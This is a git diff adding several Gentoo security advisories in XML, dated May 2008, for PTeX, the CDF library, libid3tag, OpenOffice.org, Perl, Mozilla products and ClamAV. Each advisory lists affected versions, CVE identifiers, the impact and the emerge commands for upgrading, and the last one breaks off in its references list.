+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-13">
+  <title>PTeX: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in PTeX, possibly allowing the
+    execution of arbitrary code or overwriting arbitrary files.
+  </synopsis>
+  <product type="ebuild">ptex</product>
+  <announced>May 12, 2008</announced>
+  <revised>May 12, 2008: 01</revised>
+  <bug>196673</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/ptex" auto="yes" arch="*">
+      <unaffected range="ge">3.1.10_p20071203</unaffected>
+      <vulnerable range="lt">3.1.10_p20071203</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PTeX is a TeX distribution with Japanese support. It is used for
+    creating and manipulating LaTeX documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple issues were found in the teTeX 2 codebase that PTeX builds
+    upon (GLSA 200709-17, GLSA 200711-26). PTeX also includes vulnerable
+    code from the GD library (GLSA 200708-05), from Xpdf (GLSA 200709-12,
+    GLSA 200711-22) and from T1Lib (GLSA 200710-12).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could possibly execute arbitrary code and local
+    attackers could possibly overwrite arbitrary files with the privileges
+    of the user running PTeX via multiple vectors, e.g. enticing users to
+    open specially crafted files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ptex-3.1.10_p20071203&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200708-05.xml">GLSA 200708-05</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-12.xml">GLSA 200709-12</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-17.xml">GLSA 200709-17</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-12.xml">GLSA 200710-12</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-22.xml">GLSA 200711-22</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-26.xml">GLSA 200711-26</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 May 2008 22:31:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 May 2008 22:32:17 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 May 2008 11:34:22 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-14.xml b/xml/htdocs/security/en/glsa/glsa-200805-14.xml
new file mode 100644
index 00000000..82d58748
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-14.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-14">
+  <title>Common Data Format library: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in the Common Data
+    Format library.
+  </synopsis>
+  <product type="ebuild">cdf</product>
+  <announced>May 13, 2008</announced>
+  <revised>May 13, 2008: 01</revised>
+  <bug>220391</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sci-libs/cdf" auto="yes" arch="*">
+      <unaffected range="ge">3.2.1</unaffected>
+      <vulnerable range="lt">3.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Common Data Format library is a scientific data management package
+    which allows programmers and application developers to manage and
+    manipulate scalar, vector, and multi-dimensional data arrays in a
+    platform independent fashion.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alfredo Ortega (Core Security Technologies) reported a boundary error
+    within the Read32s_64() function when processing CDF files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted CDF
+    file, possibly resulting in the remote execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Common Data Format library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-libs/cdf-3.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2080">CVE-2008-2080</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 May 2008 18:49:47 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 May 2008 10:41:41 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 May 2008 10:41:52 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-15.xml b/xml/htdocs/security/en/glsa/glsa-200805-15.xml
new file mode 100644
index 00000000..2b27bfc4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-15.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-15">
+  <title>libid3tag: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability was found in libid3tag.
+  </synopsis>
+  <product type="ebuild">libid3tag</product>
+  <announced>May 14, 2008</announced>
+  <revised>May 14, 2008: 01</revised>
+  <bug>210564</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libid3tag" auto="yes" arch="*">
+      <unaffected range="ge">0.15.1b-r2</unaffected>
+      <vulnerable range="lt">0.15.1b-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libid3tag is an ID3 tag manipulation library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kentaro Oda reported an infinite loop in the file field.c when parsing
+    an MP3 file with an ID3_FIELD_TYPE_STRINGLIST field that ends in '\0'.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted MP3
+    file, possibly resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libid3tag users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libid3tag-0.15.1b-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2109">CVE-2008-2109</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 May 2008 20:49:10 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 May 2008 20:57:48 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 May 2008 21:27:22 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-16.xml b/xml/htdocs/security/en/glsa/glsa-200805-16.xml
new file mode 100644
index 00000000..65823df0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-16.xml
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-16">
+  <title>OpenOffice.org: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in OpenOffice.org, possibly
+    allowing for user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openoffice openoffice-bin</product>
+  <announced>May 14, 2008</announced>
+  <revised>May 14, 2008: 02</revised>
+  <bug>218080</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.4.0</unaffected>
+      <vulnerable range="lt">2.4.0</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.4.0</unaffected>
+      <vulnerable range="lt">2.4.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense Labs reported multiple vulnerabilities in OpenOffice.org:
+    </p>
+    <ul>
+    <li>
+    multiple heap-based buffer overflows when parsing the "Attribute" and
+    "Font" Description records of Quattro Pro (QPRO) files
+    (CVE-2007-5745),
+    </li>
+    <li>
+    an integer overflow when parsing the EMR_STRETCHBLT record of an EMF
+    file, resulting in a heap-based buffer overflow (CVE-2007-5746),
+    </li>
+    <li>
+    an integer underflow when parsing Quattro Pro (QPRO) files, resulting
+    in an excessive loop and a stack-based buffer overflow
+    (CVE-2007-5747),
+    </li>
+    <li>
+    and a heap-based buffer overflow when parsing the
+    "DocumentSummaryInformation" stream in an OLE file (CVE-2008-0320).
+    </li>
+    </ul>
+    <p>
+    Furthermore, Will Drewry (Google Security) reported vulnerabilities in
+    the memory management of the International Components for Unicode
+    (CVE-2007-4770, CVE-2007-4771), which was resolved with GLSA 200803-20.
+    However, the binary version of OpenOffice.org uses an internal copy of
+    said library.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.4.0&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.4.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4770">CVE-2007-4770</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4771">CVE-2007-4771</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5745">CVE-2007-5745</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5746">CVE-2007-5746</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5747">CVE-2007-5747</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0320">CVE-2008-0320</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200803-20.xml">GLSA 200803-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Apr 2008 12:59:56 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 08 May 2008 17:40:20 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 08 May 2008 17:40:49 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-17.xml b/xml/htdocs/security/en/glsa/glsa-200805-17.xml
new file mode 100644
index 00000000..d99ba9a4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-17.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-17">
+  <title>Perl: Execution of arbitrary code</title>
+  <synopsis>
+    A double free vulnerability was discovered in Perl, possibly resulting in
+    the execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">perl libperl</product>
+  <announced>May 20, 2008</announced>
+  <revised>May 20, 2008: 01</revised>
+  <bug>219203</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.8-r5</unaffected>
+      <vulnerable range="lt">5.8.8-r5</vulnerable>
+    </package>
+    <package name="sys-devel/libperl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.8-r2</unaffected>
+      <vulnerable range="lt">5.8.8-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross platform programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Will Drewry of the Google Security Team have reported
+    a double free vulnerability when processing a crafted regular
+    expression containing UTF-8 characters.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit this vulnerability to execute
+    arbitrary code or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/perl-5.8.8-r5&quot;</code>
+    <p>
+    All libperl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-devel/libperl-5.8.8-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1927">CVE-2008-1927</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 17 May 2008 10:42:17 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 17 May 2008 10:42:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 17 May 2008 13:52:28 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-18.xml b/xml/htdocs/security/en/glsa/glsa-200805-18.xml
new file mode 100644
index 00000000..e5794355
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-18.xml
@@ -0,0 +1,282 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-18">
+  <title>Mozilla products: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox,
+    Thunderbird, SeaMonkey and XULRunner, some of which may allow user-assisted
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox mozilla-firefox-bin seamonkey seamonkey-bin mozilla-thunderbird mozilla-thunderbird-bin xulrunner</product>
+  <announced>May 20, 2008</announced>
+  <revised>May 20, 2008: 01</revised>
+  <bug>208128</bug>
+  <bug>214816</bug>
+  <bug>218065</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.14</unaffected>
+      <vulnerable range="lt">2.0.0.14</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.14</unaffected>
+      <vulnerable range="lt">2.0.0.14</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.14</unaffected>
+      <vulnerable range="lt">2.0.0.14</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.14</unaffected>
+      <vulnerable range="lt">2.0.0.14</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.9-r1</unaffected>
+      <vulnerable range="lt">1.1.9-r1</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.9</unaffected>
+      <vulnerable range="lt">1.1.9</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.14</unaffected>
+      <vulnerable range="lt">1.8.1.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is an open-source web browser and Mozilla Thunderbird
+    an open-source email client, both from the Mozilla Project. The
+    SeaMonkey project is a community effort to deliver production-quality
+    releases of code derived from the application formerly known as the
+    'Mozilla Application Suite'. XULRunner is a Mozilla runtime package
+    that can be used to bootstrap XUL+XPCOM applications like Firefox and
+    Thunderbird.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported in all mentioned Mozilla
+    products:
+    </p>
+    <ul>
+    <li>
+    Jesse Ruderman, Kai Engert, Martijn Wargers, Mats Palmgren, and Paul
+    Nickerson reported browser crashes related to JavaScript methods,
+    possibly triggering memory corruption (CVE-2008-0412).
+    </li>
+    <li>
+    Carsten Book, Wesley Garland, Igor Bukanov, moz_bug_r_a4, shutdown,
+    Philip Taylor, and tgirmann reported crashes in the JavaScript engine,
+    possibly triggering memory corruption (CVE-2008-0413).
+    </li>
+    <li>
+    David Bloom discovered a vulnerability in the way images are treated by
+    the browser when a user leaves a page, possibly triggering memory
+    corruption (CVE-2008-0419).
+    </li>
+    <li>
+    moz_bug_r_a4, Boris Zbarsky, and Johnny Stenback reported a series of
+    privilege escalation vulnerabilities related to JavaScript
+    (CVE-2008-1233, CVE-2008-1234, CVE-2008-1235).
+    </li>
+    <li>
+    Mozilla developers identified browser crashes caused by the layout and
+    JavaScript engines, possibly triggering memory corruption
+    (CVE-2008-1236, CVE-2008-1237).
+    </li>
+    <li>
+    moz_bug_r_a4 and Boris Zbarsky discovered that pages could escape from
+    its sandboxed context and run with chrome privileges, and inject script
+    content into another site, violating the browser's same origin policy
+    (CVE-2008-0415).
+    </li>
+    <li>
+    Gerry Eisenhaur discovered a directory traversal vulnerability when
+    using "flat" addons (CVE-2008-0418).
+    </li>
+    <li>
+    Alexey Proskuryakov, Yosuke Hasegawa and Simon Montagu reported
+    multiple character handling flaws related to the backspace character,
+    the "0x80" character, involving zero-length non-ASCII sequences in
+    multiple character sets, that could facilitate Cross-Site Scripting
+    attacks (CVE-2008-0416).
+    </li>
+    </ul> <p>
+    The following vulnerability was reported in Thunderbird and SeaMonkey:
+    </p>
+    <ul>
+    <li>
+    regenrecht (via iDefense) reported a heap-based buffer overflow when
+    rendering an email message with an external MIME body (CVE-2008-0304).
+    </li>
+    </ul> <p>
+    The following vulnerabilities were reported in Firefox, SeaMonkey and
+    XULRunner:
+    </p>
+    <ul>
+    <li>The fix for CVE-2008-1237 in Firefox 2.0.0.13
+    and SeaMonkey 1.1.9 introduced a new crash vulnerability
+    (CVE-2008-1380).</li>
+    <li>hong and Gregory Fleischer each reported a
+    variant on earlier reported bugs regarding focus shifting in file input
+    controls (CVE-2008-0414).
+    </li>
+    <li>
+    Gynvael Coldwind (Vexillium) discovered that BMP images could be used
+    to reveal uninitialized memory, and that this data could be extracted
+    using a "canvas" feature (CVE-2008-0420).
+    </li>
+    <li>
+    Chris Thomas reported that background tabs could create a borderless
+    XUL pop-up in front of pages in other tabs (CVE-2008-1241).
+    </li>
+    <li>
+    oo.rio.oo discovered that a plain text file with a
+    "Content-Disposition: attachment" prevents Firefox from rendering
+    future plain text files within the browser (CVE-2008-0592).
+    </li>
+    <li>
+    Martin Straka reported that the ".href" property of stylesheet DOM
+    nodes is modified to the final URI of a 302 redirect, bypassing the
+    same origin policy (CVE-2008-0593).
+    </li>
+    <li>
+    Gregory Fleischer discovered that under certain circumstances, leading
+    characters from the hostname part of the "Referer:" HTTP header are
+    removed (CVE-2008-1238).
+    </li>
+    <li>
+    Peter Brodersen and Alexander Klink reported that the browser
+    automatically selected and sent a client certificate when SSL Client
+    Authentication is requested by a server (CVE-2007-4879).
+    </li>
+    <li>
+    Gregory Fleischer reported that web content fetched via the "jar:"
+    protocol was not subject to network access restrictions
+    (CVE-2008-1240).
+    </li>
+    </ul> <p>
+    The following vulnerabilities were reported in Firefox:
+    </p>
+    <ul>
+    <li>
+    Justin Dolske discovered a CRLF injection vulnerability when storing
+    passwords (CVE-2008-0417).
+    </li>
+    <li>
+    Michal Zalewski discovered that Firefox does not properly manage a
+    delay timer used in confirmation dialogs (CVE-2008-0591).
+    </li>
+    <li>
+    Emil Ljungdahl and Lars-Olof Moilanen discovered that a web forgery
+    warning dialog is not displayed if the entire contents of a web page
+    are in a DIV tag that uses absolute positioning (CVE-2008-0594).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a specially crafted web
+    page or email that will trigger one of the vulnerabilities, possibly
+    leading to the execution of arbitrary code or a Denial of Service. It
+    is also possible for an attacker to trick a user to upload arbitrary
+    files when submitting a form, to corrupt saved passwords for other
+    sites, to steal login credentials, or to conduct Cross-Site Scripting
+    and Cross-Site Request Forgery attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.14&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.14&quot;</code>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-2.0.0.14&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-2.0.0.14&quot;</code>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.9-r1&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.9&quot;</code>
+    <p>
+    All XULRunner users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-1.8.1.14&quot;</code>
+    <p>
+    NOTE: The crash vulnerability (CVE-2008-1380) is currently unfixed in
+    the SeaMonkey binary ebuild, as no precompiled packages have been
+    released. Until an update is available, we recommend all SeaMonkey
+    users to disable JavaScript, use Firefox for JavaScript-enabled
+    browsing, or switch to the SeaMonkey source ebuild.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4879">CVE-2007-4879</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0304">CVE-2008-0304</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0412">CVE-2008-0412</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0413">CVE-2008-0413</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0414">CVE-2008-0414</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0415">CVE-2008-0415</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0416">CVE-2008-0416</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0417">CVE-2008-0417</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0418">CVE-2008-0418</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0419">CVE-2008-0419</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0420">CVE-2008-0420</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0591">CVE-2008-0591</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0592">CVE-2008-0592</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0593">CVE-2008-0593</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0594">CVE-2008-0594</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1233">CVE-2008-1233</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1234">CVE-2008-1234</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1235">CVE-2008-1235</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1236">CVE-2008-1236</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1237">CVE-2008-1237</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1238">CVE-2008-1238</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1240">CVE-2008-1240</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1241">CVE-2008-1241</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1380">CVE-2008-1380</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 27 Mar 2008 03:40:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 May 2008 21:13:08 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-19.xml b/xml/htdocs/security/en/glsa/glsa-200805-19.xml
new file mode 100644
index 00000000..cedfc0d0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-19.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-19">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in ClamAV may result in the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>May 20, 2008</announced>
+  <revised>May 20, 2008: 01</revised>
+  <bug>213762</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.93</unaffected>
+      <vulnerable range="lt">0.93</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported:
+    </p>
+    <ul>
+    <li>
+    Damian Put reported a heap-based buffer overflow when processing PeSpin
+    packed PE binaries (CVE-2008-0314).
+    </li>
+    <li>
+    Alin Rad Pop of Secunia Research reported a buffer overflow in the
+    cli_scanpe() function when processing Upack PE binaries
+    (CVE-2008-1100).
+    </li>
+    <li>
+    Hanno Boeck reported an infinite loop when processing ARJ archives
+    (CVE-2008-1387).
+    </li>
+    <li>
+    Damian Put and Thomas Pollet reported a heap-based buffer overflow when
+    processing WWPack compressed PE binaries (CVE-2008-1833).
+    </li>
+    <li>
+    A buffer over-read was discovered in the rfc2231() function when
+    producing a string that is not NULL terminated (CVE-2008-1836).
+    </li>
+    <li>
+    An unspecified vulnerability leading to "memory problems" when scanning
+    RAR files was reported (CVE-2008-1837).
+    </li>
+    <li>
+    Thierry Zoller reported that scanning of RAR files could be
+    circumvented (CVE-2008-1835).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted file, possibly leading to the execution of arbitrary
+    code with the privileges of the user running ClamAV (either a system
+    user or the "clamav" user if clamd is compromised), or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.93&quot;</code>
+  </resolution>
+  <references>
